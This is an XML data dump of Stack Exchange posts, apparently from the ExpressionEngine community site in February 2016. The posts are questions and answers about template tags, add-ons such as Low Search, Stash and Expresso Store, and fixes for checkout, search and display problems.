  <row Id="35557" PostTypeId="1" CreationDate="2016-02-13T23:15:13.693" Score="1" ViewCount="195" Body="&lt;p&gt;I moved from EE2 to EE3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to use  &lt;a href=&quot;https://devot-ee.com/add-ons/bw-category-count&quot; rel=&quot;nofollow&quot; title=&quot;BW Category Count&quot;&gt;BW Category Count by Wouter Vervloet&lt;/a&gt; to make several conditionals over content, verifying if a category group has zero, one, x, or more presences in a entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That helped me a lot to make custom description texts for our entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, I was able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel='schools'}&#xA;    {title} has &#xA;    {if &quot;{category_count show_group='7'}&quot; &amp;lt; 1}no teachers. {/if}&#xA;&#xA;    {if &quot;{category_count show_group='7'}&quot; == 1}one teacher named &#xA;    {categories show_group='7'}{category_name}{/categories}{/if}&#xA;&#xA;    {if &quot;{category_count show_group='7'}&quot; == 2}two teachers, named &#xA;    {categories show_group='7' backspace=&quot;2&quot;}{category_name} and {/categories}{/if}&#xA;&#xA;    {if &quot;{category_count show_group='7'}&quot; &amp;gt; 2}several teachers, named &#xA;    {categories show_group='7' backspace=&quot;2&quot;}{category_name} and {/categories}{/if}&#xA;&#xA;    {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;: I have a channel named &quot;schools&quot;. Have several category groups. One of them (group_id &quot;7&quot;) is &quot;Teacher's Names&quot;. So, in my school description, I need to show different texts depending on how many teachers a school has. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what &quot;BW Category Count&quot; does, it counts categories inside a group so you can use that result... for example, in a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an alternative to achieve this using EE3, as the plugin will not have a EE3 version?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know EE3 added &quot;Added {if no_results} to {categories} tag pair in {exp:channel:entries} loop&quot;, but that's not enough for our needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: It's &quot;BW Category Count&quot; and not &quot;Category Count&quot;. Sorry!&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3374" LastEditorUserId="3374" LastEditDate="2016-02-14T09:59:35.960" LastActivityDate="2016-02-14T09:59:35.960" Title="Category count conditional in EE3" Tags="|categories|ee3|count|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35558" PostTypeId="1" AcceptedAnswerId="35580" CreationDate="2016-02-15T03:01:36.053" Score="0" ViewCount="46" Body="&lt;p&gt;I upgraded exp-resso Store from 1.6 to 2.5.1. Store worked fine on 1.6 but I needed to upgrade EE to 2.10.3 Now I get the checkout error &quot;This transaction cannot be accepted.&quot; I checked with AuthorizeNet and the API Login ID and the Transaction Key are fine. It was my understanding that I needed to change/add the payment_method in checkout3.html file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Original code in checkout3.html&#xA;&#xA;&amp;lt;select id=&quot;payment_method&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;{payment_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;changed to this:&#xA;&amp;lt;select id=&quot;payment_method&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;AuthorizeNet_AIM&quot; selected&amp;gt;Credit Card&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still get the error “This transaction cannot be accepted.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked through support docs and I still can’t figure out what to do. Any suggesting. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2016-02-15T23:56:36.757" LastActivityDate="2016-03-21T10:31:41.737" Title="Upgraded exp-resso Store from 1.6x to 2.5.1 Check Out Error" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35560" PostTypeId="1" CreationDate="2016-02-15T08:46:10.850" Score="0" ViewCount="47" Body="&lt;p&gt;I am trying to show a list of items (as bookmarked).&#xA;However, the list only displays one item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:shortlist:view}&#xA;    {if count != &quot;&quot;}&#xA;    &amp;lt;div class=&quot;widget clearfix&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;My Bookmarked Items ({total_results})&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;{title} (&amp;lt;a href=&quot;{remove_url}&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;)&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;p&amp;gt;{if no_results}Your list is empty{/if}&amp;lt;/p&amp;gt;&#xA;{/exp:shortlist:view}        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two items in the list, when seen from the backend. However, only one is getting listed.&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-05-27T19:03:31.290" Title="Shortlist - showing only one item" Tags="|ee2|shortlist|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35561" PostTypeId="2" ParentId="26859" CreationDate="2016-02-15T08:50:34.987" Score="0" Body="&lt;p&gt;The problem I was experiencing turned out not be related to ExpressionEngine. The host I was using had an incorrectly configured mod_security Apache extension which was - for reasons unknown to me - sending a 404 whenever ExpressionEngine came to submitting the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I was using shared hosting I was not allowed to configure it myself, but my understanding was the server misconfiguration was to blame for the issue. Since requesting mod_security to be toned down for my EE site, the post functionality worked perfectly fine.&lt;/p&gt;&#xA;" OwnerUserId="3465" LastActivityDate="2016-02-15T08:50:34.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35562" PostTypeId="2" ParentId="35448" CreationDate="2016-02-15T09:29:56.233" Score="1" Body="&lt;p&gt;The easiest workaround seems to be using &lt;a href=&quot;https://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE_Image&lt;/a&gt;. It offers a &lt;a href=&quot;https://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#filename&quot; rel=&quot;nofollow&quot;&gt;filename parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We chose to use the url_title of the article, in combination with a counter (or other unique string). That solved our issue.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-02-15T09:29:56.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35564" PostTypeId="2" ParentId="35560" CreationDate="2016-02-15T17:19:32.790" Score="0" Body="&lt;p&gt;Try changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that sorts it out :)&#xA;- I noticed that your code was a little different to &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/shortlist/usage/examples/basic-example&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;...&lt;/p&gt;&#xA;" OwnerUserId="7082" LastActivityDate="2016-02-15T17:19:32.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35566" PostTypeId="1" AcceptedAnswerId="35786" CreationDate="2016-02-15T18:08:17.390" Score="5" ViewCount="348" Body="&lt;p&gt;When I try to edit one specific entry in the CP I get the error &quot;The file cannot be found&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL the CP produces is something like&#xA;www.xyz.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=5&amp;amp;entry_id=4616&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's exactly the same URL-structure as in every other entry when edited (except for the entry_id).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry is published and can be viewed correctly. In the database I see the entry correctly with something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `exp_channel_data` WHERE entry_id = 4616&#xA;SELECT * FROM `exp_channel_titles` WHERE entry_id = 4616&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I turn on &quot;output and debbuging&quot; in the CP I get absolutely no output, just the Message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Was Encountered&#xA;  The file cannot be found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(When I edit other entries the output and debugging produces output at the and of the page.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guy from the hosting-company says that he doesn't find anything in the server logs which could be related to the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the problem with one entry about half a year ago. I ende copy-paste from the database in a new entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So anybody has any idea what this strange error could be?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2016-03-22T17:38:10.933" Title="Editing entry in backend: &quot;The file cannot be found&quot;" Tags="|control-panel|error|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35567" PostTypeId="1" AcceptedAnswerId="35818" CreationDate="2016-02-15T19:19:55.657" Score="0" ViewCount="41" Body="&lt;p&gt;Silly question here I'm sure -- created a new channel for products on a pre-existing EE/Expresso Store install. I'm using code that easily displays products for the old channels, but seems to be breaking on this new template. Here's the template's tags --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mounts&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;/ordnance/store-checkout&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any items placed in between the product tag and its closer is omitted from the resulting page. I was thinking that maybe there was a breakdown from the prior page sending the proper entry_id, but if I move the product tag down further in the code (to say, wrap only the &quot;Buy Now&quot; button), the proper product and associated fields are in fact displayed on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, essentially, the product tag is encountering an error and causing all wrapped content to not be displayed, as well as the modifiers included there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of notes that might help: 1) this is the first channel to be displayed on this site under a new template group. In other words, all other products/channels were displayed at &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;xxxx.com/firearms/all-old-product-channels/product-page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this new channel is being displayed at&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;xxxx.com/ordnance/new-channel-/product-page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&amp;amp; 2) That's the reason I through the &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; into the entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the poorly formed question, but it's my first here. Your help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6809" LastActivityDate="2016-03-09T15:25:56.067" Title="Expresso Store Product Tag returns empty - including all template HTML" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35569" PostTypeId="2" ParentId="35550" CreationDate="2016-02-16T05:26:59.800" Score="0" Body="&lt;p&gt;You should have a look at the demo templates, as this problem was solved there. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You actually need to use a different time variable available to you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_start_date format=&quot;%g&quot;}&#xA;{if event_start_minute &amp;gt; 0}&#xA;   :{event_start_minute}{event_start_date format=&quot;%A&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-02-16T05:26:59.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35572" PostTypeId="2" ParentId="35265" CreationDate="2016-02-16T15:29:00.167" Score="0" Body="&lt;p&gt;I am having the same settings as you have except for the http:// protocol being there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works pretty well for me, when I log in from the forums it takes me to the forum home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PJkp2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJkp2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-02-16T15:29:00.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35573" PostTypeId="1" AcceptedAnswerId="35579" CreationDate="2016-02-16T15:57:57.067" Score="1" ViewCount="95" Body="&lt;p&gt;I've got a google map (&lt;a href=&quot;http://dvt.ee/adpdJZX&quot; rel=&quot;nofollow&quot;&gt;gmaps addon&lt;/a&gt;) that I'm adding pins to via low search results. Unfortunately I cannot seem to get the lat/long to pass through to the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template is below. You can see a testing div which successfully outputs the lat/long as expected, but if I use the same code inside the parameter for gmaps nothing is output. However if I manually add in the lat/long the map works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that this is due to parse order but am unsure how to overcome this issue. This template is already in an embed so I really don't want to have a nested embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;member_data|comments|pagination&quot;}&#xA;&#xA;    {if low_search_no_results}&#xA;    &amp;lt;div style=&quot;width:100%;height:500px;padding:150px 40px 40px 40px;background:pink;&quot;&amp;gt;&#xA;        &amp;lt;h4 class=&quot;text-center&quot;&amp;gt;no search results&amp;lt;/h4&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {exp:stash:set name=&quot;address&quot; parse_tags=&quot;yes&quot; type=&quot;snippet&quot;} &#xA;            {!--&#xA;            // stash markers to use in google map&#xA;            --}&#xA;&#xA;            {if &quot;{trip_map:marker:latlng}&quot; !=&quot;&quot;}&#xA;                {trip_map:marker:latlng}|&#xA;            {if:else}&#xA;                {map_points_original_site}&#xA;                    {map_points_original_site:point_location_latlng}{map_points_original_site:point_location}|&#xA;                {/map_points_original_site}&#xA;            {/if}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- here for testing only--}&#xA;    &amp;lt;div style=&quot;width:100%;min-height:20px;padding:{if count=='1'}125{if:else}30{/if}px 2px 10px 2px;background-color:rgba(250, 250, 131, 0.4);&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;text-center&quot; style=&quot;margin:3px 0 0;&quot;&amp;gt;-- title: {title} --&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;        stash: {exp:stash:get name='address' type='snippet'}&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;    {!--end testing--}&#xA;&#xA;{/exp:low_search:results}&#xA;&#xA;    {exp:gmaps:geocoding width=&quot;100%&quot; marker=&quot;yes&quot; width=&quot;100%&quot; height=&quot;750px&quot; map_type=&quot;terrain&quot; zoom_control_position=&quot;LEFT_BOTTOM&quot; zoom=&quot;8&quot; latlng=&quot;{exp:stash:get name='address' type='snippet'}&quot;}&#xA;&#xA;&#xA;    {/exp:gmaps:geocoding}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The testing div output is here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;stash:&#xA;  39.008498,-106.243825|39.043544,-106.263701|38.9228982,-106.1695513|39.004257,-106.24123|&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2016-02-16T21:10:29.123" LastActivityDate="2016-02-17T12:43:51.563" Title="Gmaps using stashed lat/long not working" Tags="|templates|stash|parse-order|google-maps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35574" PostTypeId="2" ParentId="35265" CreationDate="2016-02-16T17:17:45.660" Score="0" Body="&lt;p&gt;I solved this eventually by adding the following to my config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (false !== strpos($_SERVER['REQUEST_URI'], '/forums')) {&#xA;    $config['site_url'] = 'https:'.$config['site_url'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This forces the requests for the forums module to use absolute protocol and this negates the log-in redirect issue. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2016-02-16T17:17:45.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35576" PostTypeId="2" ParentId="13739" CreationDate="2016-02-16T18:48:25.430" Score="0" Body="&lt;p&gt;Check the PHP version. The 5.2 and below causing this issue. Also as was mentioned above run debug mode. I had same issue after moving the website to another host, where you should manually set the php version &lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2016-02-16T18:48:25.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35577" PostTypeId="1" AcceptedAnswerId="35584" CreationDate="2016-02-16T19:28:55.123" Score="0" ViewCount="78" Body="&lt;p&gt;I was wondering how the search engine for expression engine works.  We are trying to search for some terms which we would like to have specific results.  When searching for a unique term which is not used in other entries the search results seem rather generic and mostly unrelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of content does the search module crawl?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it filter results based on title, body, tags..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How, if multiple filters, does the search module prioritize these item?&lt;/p&gt;&#xA;" OwnerUserId="7102" LastActivityDate="2016-02-17T08:12:12.533" Title="Expression Engine Search - EE2" Tags="|ee2|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35579" PostTypeId="2" ParentId="35573" CreationDate="2016-02-16T19:50:22.333" Score="1" Body="&lt;p&gt;You need &lt;code&gt;parse=&quot;yes&quot; trim=&quot;yes&quot;&lt;/code&gt; when you set the var (to fully parse the conditionals and remove whitespace), parse=&quot;inward&quot; on the gmaps tag (so the parameters are parsed), and add 'random' to the 2nd use of stash get to stop EE replacing the second instance of the stash:get tag with a 'M0...' cache marker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;member_data|comments|pagination&quot;}&#xA;  {exp:stash:set name=&quot;address&quot; parse=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;            {if &quot;{trip_map:marker:latlng}&quot; !=&quot;&quot;}&#xA;                {trip_map:marker:latlng}|&#xA;            {if:else}&#xA;                {map_points_original_site}&#xA;                    {map_points_original_site:point_location_latlng}{map_points_original_site:point_location}|&#xA;                {/map_points_original_site}&#xA;            {/if}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- here for testing only--}&#xA;    &amp;lt;div style=&quot;width:100%;min-height:20px;padding:{if count=='1'}125{if:else}30{/if}px 2px 10px 2px;background-color:rgba(250, 250, 131, 0.4);&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;text-center&quot; style=&quot;margin:3px 0 0;&quot;&amp;gt;-- title: {title} --&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;        stash: {exp:stash:get name='address'}&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;    {!--end testing--}&#xA;&#xA;{/exp:low_search:results}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:gmaps:geocoding width=&quot;100%&quot; marker=&quot;yes&quot; width=&quot;100%&quot; height=&quot;750px&quot; map_type=&quot;terrain&quot; zoom_control_position=&quot;LEFT_BOTTOM&quot; zoom=&quot;8&quot; latlng=&quot;{stash:address}&quot;}&#xA;&#xA;&#xA;    {/exp:gmaps:geocoding}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that sometimes &lt;code&gt;trim=&quot;yes&quot;&lt;/code&gt; won't remove all the whitespace so you may need to close it up manually.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2016-02-17T12:43:51.563" LastActivityDate="2016-02-17T12:43:51.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35580" PostTypeId="2" ParentId="35558" CreationDate="2016-02-16T22:26:37.053" Score="0" Body="&lt;p&gt;I put in all new templates files and also generated a new transaction key (3rd time) at AuthorizeNet and it works&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2016-02-16T22:26:37.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35581" PostTypeId="1" CreationDate="2016-02-17T00:07:19.400" Score="0" ViewCount="50" Body="&lt;p&gt;I place an image on a page using the file manager. I can see it in the editor, but when the image is displayed in the front end, all I see is the image path and not the image. When I look at the source code, I see that the image tag is removed. I am using Wygwam but I have disabled &quot;Restrict Allowed HTML&quot; &#xA;ExpressionEngine v2.10.1 - Build Date: 20150501 - &lt;/p&gt;&#xA;" OwnerUserId="7103" LastActivityDate="2016-02-18T12:55:34.700" Title="img tag being stripped out of front end" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35582" PostTypeId="1" AcceptedAnswerId="35585" CreationDate="2016-02-17T07:38:37.677" Score="0" ViewCount="187" Body="&lt;p&gt;I know we can output 'keywords' as search parameters on the search result page. But we perform only search in custom fields (by means of checkboxes on search page) and I wonder how to output even those values on the result page to help the visitors.&#xA;Many thanks for looking at this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2015/02/17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the help from Low I finally got it.&#xA;(Why not earlier, my search was in checkboxes (channel 'work' field 'material') based on values in channel 'material' field 'material_content'. In my search result I mixed the two up. Hence no results showed. The same form searched also in two categories, that I got working after reading &lt;strong&gt;again&lt;/strong&gt; the manual and Low's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_search:results&#xA;  query=&quot;{segment_2}&quot;&#xA;  status=&quot;not closed&quot;&#xA;  disable=&quot;member_data|category_fields&quot;&#xA;  require_all=&quot;material&quot;&#xA;}&#xA;{if count == 1}&#xA;    &amp;lt;p&amp;gt;&#xA;      Resultat för &amp;lt;strong&amp;gt;{material}&amp;lt;/strong&amp;gt; och &amp;lt;strong&amp;gt;{exp:channel:categories show=&quot;{low_search_category}&quot; style=&quot;linear&quot;}&#xA;   {category_name}&#xA;{/exp:channel:categories}&amp;lt;/strong&amp;gt;&#xA;&#xA;&#xA;      Antal resultat: &amp;lt;strong&amp;gt;{absolute_results}&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My thanks is big, very big.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2016-02-17T20:48:46.947" LastActivityDate="2016-02-17T20:48:46.947" Title="Output search parameters LOW Search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35583" PostTypeId="2" ParentId="35290" CreationDate="2016-02-17T07:43:49.783" Score="0" Body="&lt;p&gt;The credits must go to Low, he suggested out that there might be a conflict that caused the problem. And there was. A name conflict between a category name and a fieldname.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-02-17T07:43:49.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35584" PostTypeId="2" ParentId="35577" CreationDate="2016-02-17T08:12:12.533" Score="1" Body="&lt;p&gt;You should probably read up on the &lt;a href=&quot;https://docs.expressionengine.com/latest/add-ons/search/index.html&quot; rel=&quot;nofollow&quot;&gt;Search docs for EE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, EE uses substring matching to return the search results. It's a fairly simple method (using MySQL's &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html&quot; rel=&quot;nofollow&quot;&gt;LIKE operator&lt;/a&gt;) that doesn't offer any scoring mechanism to add relevance to search results. Therefore, search results are only ordered by entry date or title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the LIKE method will always match substrings, so searching for &quot;cat&quot; will also return &quot;concatenation&quot;. You &lt;a href=&quot;https://docs.expressionengine.com/latest/add-ons/search/simple.html#search-in&quot; rel=&quot;nofollow&quot;&gt;can tell&lt;/a&gt; EE to search like this either in an entry's title only, in the title and custom fields, or in the title, custom fields and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with the native search module, there is no way to sort by relevance, prioritize or to push a given entry to the top for certain search terms. You will have to look at other search solutions like Super Search or my own &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-02-17T08:12:12.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35585" PostTypeId="2" ParentId="35582" CreationDate="2016-02-17T08:20:59.367" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;As per these rules&lt;/a&gt;, any Low Search parameter value can be displayed in your templates by using the {low_search_&lt;em&gt;param_name&lt;/em&gt;} syntax. For &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#multiple-values&quot; rel=&quot;nofollow&quot;&gt;multi-valued parameters&lt;/a&gt;, this will result in a pipe-separated list of values. You could use &lt;a href=&quot;https://github.com/low/low_list&quot; rel=&quot;nofollow&quot;&gt;Low List&lt;/a&gt; to iterate through each of those values, or you could use the variable as input for another tag to achieve the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you're using checkboxes to filter results by category, then the parameter value will be a pipe-separated list of category IDs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{low_search_category} =&amp;gt; 1|2|3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use that var as input for the &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;channel:categories tag&lt;/a&gt;, thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories show=&quot;{low_search_category}&quot; style=&quot;linear&quot;}&#xA;    ...&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this requires the tag to be inside the Form, Filters or Results tag, so the &lt;code&gt;{low_search_param_name}&lt;/code&gt; can be resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, you can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#param-tag&quot; rel=&quot;nofollow&quot;&gt;Param tag&lt;/a&gt; to output a parameter value &lt;em&gt;outside&lt;/em&gt; of the Form, Filters or Results tag.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-02-17T08:20:59.367" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35586" PostTypeId="2" ParentId="35581" CreationDate="2016-02-17T09:51:50.673" Score="1" Body="&lt;p&gt;Look at Admin -&gt; Channel Administration -&gt; Channels, then select Edit Preferences for the Channel you're using to output the entry mentioned. Search down the preferences for &quot;Channel Posting Preferences&quot; and you'll see &quot;Allow image URLs in channel entries?&quot;. Ensure this is set to Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VJ4Xw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJ4Xw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-17T09:51:50.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
